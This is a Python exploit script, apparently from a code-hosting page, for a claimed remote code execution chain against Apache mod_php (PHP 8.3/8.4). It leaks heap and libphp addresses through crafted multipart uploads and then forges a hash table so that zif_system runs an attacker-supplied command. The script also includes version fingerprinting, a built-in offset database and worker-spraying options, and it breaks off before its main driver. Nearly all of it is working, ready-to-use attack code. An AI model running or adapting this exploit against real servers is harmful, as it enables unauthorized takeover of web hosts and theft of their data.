Three-stage chain: heap leak, libphp leak, zif_system terminal. All stages succeed on first attempt against php:8.4.26-apache. Features: - HTTP fingerprinting auto-detects PHP version from X-Powered-By - Built-in offset database for PHP 8.3.35, 8.4.26, 8.3.36, 8.4.27 - Inline ELF parser extracts offsets without external tools - --auto-pull fetches matching Docker image for unknown versions - --workers N spray mode for multi-worker Apache configs - Docker lab setup for reproducible testing Tested: 9/9 successful RCE runs, all stages first-attempt.
1031 lines
38 KiB
Python
1031 lines
38 KiB
Python
#!/usr/bin/env python3 -I
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray.
|
|
Apache mod_php (prefork MPM), no LFI, no framework dependencies.
|
|
|
|
Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP):
|
|
Stage 1: Set-Cookie heap leak -> Zend MM chunk base (heap ASLR)
|
|
Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR)
|
|
Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE
|
|
|
|
Auto-detection:
|
|
The exploit fingerprints the target PHP version from HTTP headers, looks up
|
|
binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database
|
|
covering official Docker images, and selects the matching heap profile. For
|
|
unknown builds it can pull the matching Docker image and extract offsets
|
|
automatically (--auto-pull), or read them from a file/container.
|
|
|
|
Requirements on the target:
|
|
- Apache mod_php with prefork MPM
|
|
- session.upload_progress.enabled=1 (default on)
|
|
- session.upload_progress.cleanup=1 (default on)
|
|
- display_errors=On or STDOUT (default when no php.ini is deployed, e.g.
|
|
official Docker images; php.ini-production sets it Off)
|
|
- memory_limit reachable via POST body (default 128M, use --huge-mb 140)
|
|
- MaxRequestWorkers=1, or low worker count with retries (default is 150;
|
|
the exploit needs A and B requests to hit the same worker process)
|
|
- Any PHP-handled URL (no session_start() needed on the page)
|
|
|
|
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success.
|
|
Based on research from 9bie/php2shell-bypass-aslr-exp.
|
|
|
|
Usage:
|
|
python3 rce_exploit.py -u http://target/index.php # auto-detect
|
|
python3 rce_exploit.py -u http://target/index.php --auto-pull # pull image
|
|
python3 rce_exploit.py -u http://target/ --docker-container myphp # from container
|
|
python3 rce_exploit.py -u http://target/ --offsets-file offsets.env # from file
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import os
|
|
import re
|
|
import socket
|
|
import ssl
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import threading
|
|
import time
|
|
import urllib.parse
|
|
from collections import Counter
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Constants
|
|
# ---------------------------------------------------------------------------
|
|
|
|
SID = b"attacksessionid0001"
|
|
MAX_CMD = 14
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Heap spray profiles (compiler-dependent heap geometry constants)
|
|
# ---------------------------------------------------------------------------
|
|
|
|
PROFILES = {
|
|
"bookworm": {
|
|
"stage1_n": 841,
|
|
"stage2_t": 406,
|
|
"stage2_v": 16,
|
|
"stage3_pads": [(31, 31)] * 6,
|
|
"stage3_carrier": True,
|
|
"htdata_offset": 0x690D8,
|
|
},
|
|
"lab": {
|
|
"stage1_n": 892,
|
|
"stage2_t": 443,
|
|
"stage2_v": 1,
|
|
"stage3_pads": [(8, 7)] + [(7, 7)] * 5,
|
|
"stage3_carrier": False,
|
|
"htdata_offset": 0x6E0D8,
|
|
},
|
|
}
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Offset database: keyed by (php_version, distro) or (php_version, "generic")
|
|
#
|
|
# Offsets are the position of zif_system and zval_ptr_dtor inside libphp.so
|
|
# relative to its load base. They are constant for a given binary build.
|
|
#
|
|
# Official Docker images are Debian bookworm with gcc 12.2, so all
|
|
# php:X.Y.Z-apache images on the same architecture share a build toolchain.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
OFFSET_DB: dict[tuple[str, str], dict[str, int]] = {
|
|
# Official php:8.4.26-apache (Debian bookworm, gcc 12.2) -- LAST VULNERABLE 8.4.x
|
|
("8.4.26", "bookworm"): {
|
|
"ZIF_OFFSET": 0x465370,
|
|
"DTOR_OFFSET": 0x65eb60,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.3.35-apache (Debian bookworm) -- LAST VULNERABLE 8.3.x
|
|
("8.3.35", "bookworm"): {
|
|
"ZIF_OFFSET": 0x3ac080,
|
|
"DTOR_OFFSET": 0x49ec50,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.4.27-apache (Debian bookworm) -- PATCHED
|
|
("8.4.27", "bookworm"): {
|
|
"ZIF_OFFSET": 0x46ad70,
|
|
"DTOR_OFFSET": 0x66a620,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
# Official php:8.3.36-apache (Debian bookworm) -- PATCHED
|
|
("8.3.36", "bookworm"): {
|
|
"ZIF_OFFSET": 0x3b2a00,
|
|
"DTOR_OFFSET": 0x4a9510,
|
|
"HTDATA_OFFSET": 0x690D8,
|
|
"profile": "bookworm",
|
|
},
|
|
}
|
|
|
|
# Maps distro tokens found in Server header to profile names
|
|
DISTRO_MAP = {
|
|
"debian": "bookworm",
|
|
"ubuntu": "bookworm",
|
|
}
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# ELF parser: extract symbol offsets without external tools
|
|
# ---------------------------------------------------------------------------
|
|
|
|
SHT_SYMTAB = 2
|
|
SHT_DYNSYM = 11
|
|
PT_LOAD = 1
|
|
|
|
|
|
def parse_elf_offsets(path: str) -> dict[str, int]:
|
|
"""Parse an ELF64 LE file and return {symbol_name: offset_from_load_base}."""
|
|
data = open(path, "rb").read()
|
|
if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1:
|
|
raise ValueError("not a little-endian ELF64 file")
|
|
|
|
e_phoff = struct.unpack_from("<Q", data, 0x20)[0]
|
|
e_shoff = struct.unpack_from("<Q", data, 0x28)[0]
|
|
e_phentsize, e_phnum = struct.unpack_from("<HH", data, 0x36)
|
|
e_shentsize, e_shnum = struct.unpack_from("<HH", data, 0x3A)
|
|
|
|
loads = []
|
|
for i in range(e_phnum):
|
|
off = e_phoff + i * e_phentsize
|
|
p_type = struct.unpack_from("<I", data, off)[0]
|
|
p_vaddr = struct.unpack_from("<Q", data, off + 16)[0]
|
|
p_memsz = struct.unpack_from("<Q", data, off + 40)[0]
|
|
if p_type == PT_LOAD and p_memsz:
|
|
loads.append(p_vaddr)
|
|
bias = min(loads) if loads else 0
|
|
|
|
sections = []
|
|
for i in range(e_shnum):
|
|
off = e_shoff + i * e_shentsize
|
|
sh_type = struct.unpack_from("<I", data, off + 4)[0]
|
|
sh_offset = struct.unpack_from("<Q", data, off + 24)[0]
|
|
sh_size = struct.unpack_from("<Q", data, off + 32)[0]
|
|
sh_link = struct.unpack_from("<I", data, off + 40)[0]
|
|
sh_entsize = struct.unpack_from("<Q", data, off + 56)[0]
|
|
sections.append((sh_type, sh_offset, sh_size, sh_link, sh_entsize))
|
|
|
|
wanted = {"zif_system": None, "zval_ptr_dtor": None}
|
|
for sh_type, sh_offset, sh_size, sh_link, sh_entsize in sections:
|
|
if sh_type not in (SHT_SYMTAB, SHT_DYNSYM):
|
|
continue
|
|
if sh_link >= len(sections):
|
|
continue
|
|
str_off = sections[sh_link][1]
|
|
entsize = sh_entsize or 24
|
|
for i in range(sh_size // entsize):
|
|
off = sh_offset + i * entsize
|
|
st_name = struct.unpack_from("<I", data, off)[0]
|
|
st_value = struct.unpack_from("<Q", data, off + 8)[0]
|
|
if st_name == 0 or st_value == 0:
|
|
continue
|
|
name_off = str_off + st_name
|
|
end = data.find(b"\x00", name_off)
|
|
if end < 0:
|
|
continue
|
|
name = data[name_off:end].decode("ascii", "replace")
|
|
if name in wanted and wanted[name] is None:
|
|
wanted[name] = st_value - bias
|
|
|
|
missing = [k for k, v in wanted.items() if v is None]
|
|
if missing:
|
|
raise ValueError(f"symbols not found: {', '.join(missing)}")
|
|
return {k: v for k, v in wanted.items() if v is not None}
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Offset resolution helpers
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def offsets_from_file(path: str) -> dict[str, int]:
|
|
vals: dict[str, int] = {}
|
|
with open(path) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line or line.startswith("#") or "=" not in line:
|
|
continue
|
|
key, val = line.split("=", 1)
|
|
try:
|
|
vals[key.strip()] = int(val.strip(), 0)
|
|
except ValueError:
|
|
pass
|
|
return vals
|
|
|
|
|
|
def offsets_from_container(container: str) -> dict[str, int]:
|
|
"""Extract offsets from a running Docker container's libphp.so."""
|
|
lib_path = "/usr/lib/apache2/modules/libphp.so"
|
|
fd, tmp_path = tempfile.mkstemp(suffix=".so")
|
|
os.close(fd)
|
|
try:
|
|
subprocess.run(
|
|
["docker", "cp", f"{container}:{lib_path}", tmp_path],
|
|
check=True, capture_output=True, timeout=30,
|
|
)
|
|
syms = parse_elf_offsets(tmp_path)
|
|
return {
|
|
"ZIF_OFFSET": syms["zif_system"],
|
|
"DTOR_OFFSET": syms["zval_ptr_dtor"],
|
|
}
|
|
finally:
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def offsets_from_docker_image(image: str) -> dict[str, int]:
|
|
"""Start a temp container from the image, extract offsets, remove it."""
|
|
cname = f"php2shell-calibrate-{os.getpid()}"
|
|
lib_path = "/usr/lib/apache2/modules/libphp.so"
|
|
fd, tmp_path = tempfile.mkstemp(suffix=".so")
|
|
os.close(fd)
|
|
try:
|
|
subprocess.run(
|
|
["docker", "create", "--name", cname, image, "true"],
|
|
check=True, capture_output=True, timeout=60,
|
|
)
|
|
subprocess.run(
|
|
["docker", "cp", f"{cname}:{lib_path}", tmp_path],
|
|
check=True, capture_output=True, timeout=30,
|
|
)
|
|
syms = parse_elf_offsets(tmp_path)
|
|
return {
|
|
"ZIF_OFFSET": syms["zif_system"],
|
|
"DTOR_OFFSET": syms["zval_ptr_dtor"],
|
|
}
|
|
finally:
|
|
subprocess.run(
|
|
["docker", "rm", "-f", cname],
|
|
capture_output=True, timeout=15,
|
|
)
|
|
try:
|
|
os.unlink(tmp_path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def fingerprint_target(host: str, port: int, path: str, use_tls: bool,
|
|
timeout: float = 10.0) -> dict[str, str]:
|
|
"""Send a GET and extract PHP version + server distro from headers."""
|
|
hdr = (
|
|
f"GET {path} HTTP/1.1\r\n"
|
|
f"Host: {host}:{port}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
s = socket.create_connection((host, port), timeout=timeout)
|
|
if use_tls:
|
|
ctx = ssl.create_default_context()
|
|
s = ctx.wrap_socket(s, server_hostname=host)
|
|
s.settimeout(timeout)
|
|
try:
|
|
s.sendall(hdr)
|
|
data = bytearray()
|
|
while len(data) < 8192:
|
|
chunk = s.recv(4096)
|
|
if not chunk:
|
|
break
|
|
data += chunk
|
|
except OSError:
|
|
pass
|
|
finally:
|
|
s.close()
|
|
|
|
head = bytes(data).split(b"\r\n\r\n", 1)[0].decode("latin-1", errors="replace")
|
|
info: dict[str, str] = {}
|
|
for line in head.splitlines():
|
|
low = line.lower()
|
|
if low.startswith("x-powered-by:"):
|
|
m = re.search(r"PHP/(\d+\.\d+\.\d+)", line)
|
|
if m:
|
|
info["php_version"] = m.group(1)
|
|
if low.startswith("server:"):
|
|
info["server"] = line.split(":", 1)[1].strip()
|
|
for token, distro in DISTRO_MAP.items():
|
|
if token in low:
|
|
info["distro"] = distro
|
|
break
|
|
if "distro" not in info and "server" in info:
|
|
if "debian" in info["server"].lower():
|
|
info["distro"] = "bookworm"
|
|
return info
|
|
|
|
|
|
def resolve_offsets(args, verbose: bool = True) -> tuple[int, int, int, str]:
|
|
"""Return (zif_offset, dtor_offset, htdata_offset, profile) from args."""
|
|
log = (lambda m: print(m, flush=True)) if verbose else (lambda m: None)
|
|
|
|
# Explicit offsets override everything
|
|
if args.zif_offset and args.dtor_offset:
|
|
return (args.zif_offset, args.dtor_offset,
|
|
args.htdata_offset or PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# From file
|
|
if args.offsets_file:
|
|
o = offsets_from_file(args.offsets_file)
|
|
zif = args.zif_offset or o.get("ZIF_OFFSET", 0)
|
|
dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0)
|
|
if zif and dtor:
|
|
return (zif, dtor,
|
|
args.htdata_offset or o.get("HTDATA_OFFSET", 0) or
|
|
PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# From running container
|
|
if args.docker_container:
|
|
log(f"[*] extracting offsets from container {args.docker_container!r}")
|
|
o = offsets_from_container(args.docker_container)
|
|
zif = args.zif_offset or o.get("ZIF_OFFSET", 0)
|
|
dtor = args.dtor_offset or o.get("DTOR_OFFSET", 0)
|
|
if zif and dtor:
|
|
log(f"[+] container offsets: zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
return (zif, dtor,
|
|
args.htdata_offset or PROFILES[args.profile]["htdata_offset"],
|
|
args.profile)
|
|
|
|
# Auto-detect from target HTTP headers
|
|
u = urllib.parse.urlsplit(args.url)
|
|
host = u.hostname or "127.0.0.1"
|
|
port = u.port or (443 if u.scheme == "https" else 80)
|
|
path = u.path or "/"
|
|
use_tls = u.scheme == "https"
|
|
|
|
log("[*] fingerprinting target...")
|
|
fp = fingerprint_target(host, port, path, use_tls)
|
|
php_ver = fp.get("php_version", "")
|
|
distro = fp.get("distro", "")
|
|
server = fp.get("server", "")
|
|
if php_ver:
|
|
log(f"[+] PHP/{php_ver} server={server}")
|
|
else:
|
|
log("[-] could not detect PHP version from headers")
|
|
log(" provide offsets manually (--offsets-file, --docker-container,")
|
|
log(" or --zif-offset/--dtor-offset)")
|
|
sys.exit(1)
|
|
|
|
# Look up in database
|
|
for key in [(php_ver, distro), (php_ver, "generic")]:
|
|
if key in OFFSET_DB:
|
|
entry = OFFSET_DB[key]
|
|
zif = entry["ZIF_OFFSET"]
|
|
dtor = entry["DTOR_OFFSET"]
|
|
profile = entry.get("profile", args.profile)
|
|
htdata = entry.get("HTDATA_OFFSET", PROFILES[profile]["htdata_offset"])
|
|
log(f"[+] offsets from database ({key[0]}/{key[1]}): "
|
|
f"zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
return (args.zif_offset or zif, args.dtor_offset or dtor,
|
|
args.htdata_offset or htdata, profile)
|
|
|
|
# Not in DB: try auto-pull if requested
|
|
if args.auto_pull:
|
|
image = f"php:{php_ver}-apache"
|
|
log(f"[*] pulling {image} to extract offsets...")
|
|
try:
|
|
subprocess.run(
|
|
["docker", "pull", image],
|
|
check=True, capture_output=True, timeout=300,
|
|
)
|
|
o = offsets_from_docker_image(image)
|
|
zif = o["ZIF_OFFSET"]
|
|
dtor = o["DTOR_OFFSET"]
|
|
log(f"[+] extracted from {image}: zif=0x{zif:x} dtor=0x{dtor:x}")
|
|
profile = distro if distro in PROFILES else args.profile
|
|
return (zif, dtor,
|
|
args.htdata_offset or PROFILES[profile]["htdata_offset"],
|
|
profile)
|
|
except (subprocess.SubprocessError, ValueError, KeyError) as e:
|
|
log(f"[-] auto-pull failed: {e}")
|
|
|
|
log(f"[-] PHP/{php_ver} ({distro or 'unknown distro'}) not in offset database")
|
|
log(" options:")
|
|
log(f" 1. run with --auto-pull to fetch php:{php_ver}-apache and extract")
|
|
log(" 2. provide offsets via --offsets-file or --docker-container")
|
|
log(" 3. add entry to OFFSET_DB in this script")
|
|
sys.exit(1)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Multipart + HTTP helpers
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def build_multipart(parts: list[dict], boundary: bytes) -> bytes:
|
|
out = bytearray()
|
|
for p in parts:
|
|
name = p["name"].encode() if isinstance(p["name"], str) else p["name"]
|
|
out += b"--" + boundary + b"\r\n"
|
|
out += b'Content-Disposition: form-data; name="' + name + b'"'
|
|
if p.get("filename") is not None:
|
|
fn = p["filename"].encode() if isinstance(p["filename"], str) else p["filename"]
|
|
out += b'; filename="' + fn + b'"'
|
|
out += b"\r\nContent-Type: application/octet-stream"
|
|
out += b"\r\n\r\n" + p["data"] + b"\r\n"
|
|
out += b"--" + boundary + b"--\r\n"
|
|
return bytes(out)
|
|
|
|
|
|
def parse_cookie(resp: bytes) -> bytes:
|
|
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
|
|
if not m:
|
|
return b""
|
|
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin-1"))
|
|
|
|
|
|
def chunk_base_from_cookie(raw: bytes) -> int:
|
|
if len(raw) < 1000:
|
|
return 0
|
|
c: Counter[int] = Counter()
|
|
for i in range(len(raw) - 8):
|
|
v = int.from_bytes(raw[i:i + 8], "little")
|
|
if 0x7F0000000000 <= v < 0x800000000000:
|
|
c[v & ~0x1FFFFF] += 1
|
|
if not c:
|
|
return 0
|
|
base, count = c.most_common(1)[0]
|
|
return base if count >= 8 else 0
|
|
|
|
|
|
def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:
|
|
if len(raw) < 16:
|
|
return 0
|
|
p = int.from_bytes(raw[8:16], "little")
|
|
if not (0x7F0000000000 <= p < 0x800000000000):
|
|
return 0
|
|
if p & 0xFFF != dtor_offset & 0xFFF:
|
|
return 0
|
|
base = p - dtor_offset
|
|
return base if base & 0xFFF == 0 else 0
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Target connection
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class Target:
|
|
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
|
|
u = urllib.parse.urlsplit(url)
|
|
if u.scheme not in ("http", "https"):
|
|
raise ValueError("URL must be http:// or https://")
|
|
self.https = u.scheme == "https"
|
|
self.host = u.hostname or "127.0.0.1"
|
|
self.port = u.port or (443 if self.https else 80)
|
|
self.path = u.path or "/"
|
|
self.timeout = timeout
|
|
self.verbose = verbose
|
|
|
|
def log(self, msg: str) -> None:
|
|
if self.verbose:
|
|
print(msg, flush=True)
|
|
|
|
def _connect(self):
|
|
last = None
|
|
for _ in range(10):
|
|
try:
|
|
s = socket.create_connection((self.host, self.port),
|
|
timeout=self.timeout)
|
|
if self.https:
|
|
ctx = ssl.create_default_context()
|
|
s = ctx.wrap_socket(s, server_hostname=self.host)
|
|
try:
|
|
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
|
except OSError:
|
|
pass
|
|
return s
|
|
except OSError as e:
|
|
last = e
|
|
time.sleep(0.3)
|
|
raise last
|
|
|
|
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
|
|
timeout: float | None = None,
|
|
extra_headers: dict[str, str] | None = None) -> bytes:
|
|
"""Send POST, read full response, close connection."""
|
|
s = self._connect()
|
|
s.settimeout(timeout or self.timeout)
|
|
|
|
data = bytearray()
|
|
|
|
def _reader() -> None:
|
|
try:
|
|
while len(data) < read_cap:
|
|
chunk = s.recv(65536)
|
|
if not chunk:
|
|
break
|
|
data.extend(chunk)
|
|
except OSError:
|
|
pass
|
|
|
|
extra = ""
|
|
for k, v in (extra_headers or {}).items():
|
|
extra += f"{k}: {v}\r\n"
|
|
hdr = (
|
|
f"POST {self.path} HTTP/1.1\r\n"
|
|
f"Host: {self.host}:{self.port}\r\n"
|
|
f"{extra}"
|
|
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
|
|
reader = threading.Thread(target=_reader, daemon=True)
|
|
reader.start()
|
|
try:
|
|
try:
|
|
s.sendall(hdr)
|
|
mv = memoryview(body)
|
|
for off in range(0, len(body), 262144):
|
|
s.sendall(mv[off:off + 262144])
|
|
except OSError:
|
|
pass
|
|
reader.join(timeout=(timeout or self.timeout) + 1.0)
|
|
return bytes(data)
|
|
finally:
|
|
s.close()
|
|
|
|
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
|
|
hdr = (
|
|
f"GET {path} HTTP/1.1\r\n"
|
|
f"Host: {self.host}:{self.port}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode()
|
|
s = self._connect()
|
|
s.settimeout(self.timeout)
|
|
try:
|
|
s.sendall(hdr)
|
|
data = bytearray()
|
|
try:
|
|
while len(data) < read_cap:
|
|
chunk = s.recv(65536)
|
|
if not chunk:
|
|
break
|
|
data += chunk
|
|
except OSError:
|
|
pass
|
|
finally:
|
|
s.close()
|
|
head, _, body = bytes(data).partition(b"\r\n\r\n")
|
|
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
|
|
return (int(m.group(1)) if m else 0), body
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Exploit stages
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class Exploit:
|
|
def __init__(self, target: Target, cmd: str, profile: str = "bookworm",
|
|
zif_offset: int = 0, dtor_offset: int = 0,
|
|
htdata_offset: int = 0, huge_mb: int = 12,
|
|
workers: int = 1):
|
|
self.t = target
|
|
self.cmd = cmd.encode()
|
|
self.huge_mb = huge_mb
|
|
self.workers = max(1, workers)
|
|
|
|
prof = PROFILES[profile]
|
|
self.stage1_n = prof["stage1_n"]
|
|
self.stage2_t = prof["stage2_t"]
|
|
self.stage2_v = prof["stage2_v"]
|
|
self.stage3_pads = list(prof["stage3_pads"])
|
|
self.stage3_carrier = prof["stage3_carrier"]
|
|
self.profile = profile
|
|
|
|
self.zif_offset = zif_offset
|
|
self.dtor_offset = dtor_offset
|
|
self.htdata_offset = htdata_offset or prof["htdata_offset"]
|
|
|
|
def _spray_a(self, body_a: bytes, boundary: bytes,
|
|
extra: dict[str, str] | None = None) -> None:
|
|
"""Send request A to all workers so each has dangling state."""
|
|
for i in range(self.workers):
|
|
self.t.post(body_a, boundary,
|
|
read_cap=1 << 20,
|
|
timeout=max(90.0, self.t.timeout),
|
|
extra_headers=extra)
|
|
time.sleep(0.1)
|
|
|
|
def _big_field(self) -> dict:
|
|
return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
|
|
|
|
def _file_part(self) -> dict:
|
|
return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
|
|
|
|
def rotate(self) -> None:
|
|
"""Crash the current worker so prefork forks a fresh one."""
|
|
self.t.log("[*] rotating worker")
|
|
parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000}
|
|
for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
|
|
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
|
|
time.sleep(0.3)
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
|
|
read_cap=65536, timeout=20.0)
|
|
time.sleep(0.5)
|
|
|
|
def stage1(self) -> int:
|
|
"""Leak Zend MM chunk base via Set-Cookie over-read."""
|
|
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17)
|
|
time.sleep(0.2)
|
|
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
for i in range(self.stage1_n):
|
|
val = (f"v{i:04d}" + "x" * 44)[:48]
|
|
parts.append({"name": str(1000 + i), "data": val.encode()})
|
|
forge = bytearray(b"A" * 79)
|
|
struct.pack_into("<Q", forge, 0x10, 0x1000)
|
|
forge[0x18] = ord("L")
|
|
parts.append({"name": "1999", "data": bytes(forge)})
|
|
|
|
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=9 << 20)
|
|
return chunk_base_from_cookie(parse_cookie(resp))
|
|
|
|
def stage2(self) -> int:
|
|
"""Leak libphp base via HashTable pDestructor in Set-Cookie."""
|
|
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39}
|
|
for i in range(1001)]
|
|
parts += [
|
|
{"name": "PHPSESSID", "data": b"\x00"},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
self._file_part(),
|
|
self._big_field(),
|
|
]
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17)
|
|
time.sleep(0.2)
|
|
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
for i in range(983):
|
|
cnt = 16 if i == self.stage2_t else 1
|
|
for j in range(cnt):
|
|
parts.append({"name": f"a{i:04d}[{j}]",
|
|
"data": b"x" * self.stage2_v})
|
|
|
|
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=1 << 20)
|
|
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
|
|
|
|
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
|
|
cmd = self.cmd
|
|
if len(cmd) > MAX_CMD:
|
|
raise ValueError(
|
|
f"command is {len(cmd)} bytes, max {MAX_CMD} "
|
|
f"(write longer commands to a file and use 'sh</tmp/c')"
|
|
)
|
|
ht = bytearray(b"\x00" * 167)
|
|
struct.pack_into("<II", ht, 0x00, 1, 7)
|
|
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
|
|
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
|
|
struct.pack_into("<II", ht, 0x18, 1, 1)
|
|
struct.pack_into("<II", ht, 0x20, 8, 0)
|
|
struct.pack_into("<Q", ht, 0x28, 0)
|
|
struct.pack_into("<Q", ht, 0x30, zif)
|
|
E = 0x20
|
|
struct.pack_into("<Q", ht, E + 0x00, 0)
|
|
struct.pack_into("<Q", ht, E + 0x08, 0)
|
|
struct.pack_into("<Q", ht, E + 0x10, zif)
|
|
struct.pack_into("<Q", ht, E + 0x18, 0)
|
|
struct.pack_into("<Q", ht, E + 0x20, 0)
|
|
struct.pack_into("<I", ht, E + 0x28, 0)
|
|
struct.pack_into("<I", ht, E + 0x2C, 1)
|
|
struct.pack_into("<Q", ht, E + 0x30, 0)
|
|
struct.pack_into("<Q", ht, E + 0x38, 0)
|
|
struct.pack_into("<I", ht, E + 0x40, 0)
|
|
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)
|
|
struct.pack_into("<I", ht, E + 0x58, 6)
|
|
struct.pack_into("<II", ht, 0x80, 1, 0x106)
|
|
struct.pack_into("<Q", ht, 0x88, 0)
|
|
struct.pack_into("<Q", ht, 0x90, len(cmd))
|
|
ht[0x98:0x98 + len(cmd)] = cmd
|
|
ht[0x98 + len(cmd)] = 0
|
|
|
|
ref = bytearray(b"X" * 55)
|
|
struct.pack_into("<II", ref, 0x10, 1, 10)
|
|
struct.pack_into("<Q", ref, 0x18, htdata)
|
|
struct.pack_into("<Q", ref, 0x20, 0x307)
|
|
struct.pack_into("<Q", ref, 0x28, 0)
|
|
return bytes(ht), bytes(ref)
|
|
|
|
def stage3(self, htdata: int, zif: int) -> None:
|
|
"""Overlay PS(http_session_vars) with fake reference, trigger zif_system."""
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": b"a" * 19},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
|
|
]
|
|
for i, (nl, vl) in enumerate(self.stage3_pads):
|
|
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
|
|
parts.append({"name": name, "data": b"V" * vl})
|
|
parts += [self._file_part(), self._big_field()]
|
|
extra = None
|
|
if self.stage3_carrier:
|
|
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17, extra)
|
|
time.sleep(0.3)
|
|
|
|
ht, ref = self._fake_payload(htdata, zif)
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
if self.stage3_carrier:
|
|
carrier = (struct.pack("<II", 1, 0x1A) +
|
|
struct.pack("<Q", htdata)[:7])
|
|
for i in range(2):
|
|
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
|
|
parts.append({"name": "g00", "data": carrier})
|
|
for i in range(15):
|
|
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
|
|
else:
|
|
for i in range(15):
|
|
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
|
|
for i in range(2):
|
|
parts.append({"name": f"f{i:02d}", "data": ref})
|
|
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=65536, timeout=30.0)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
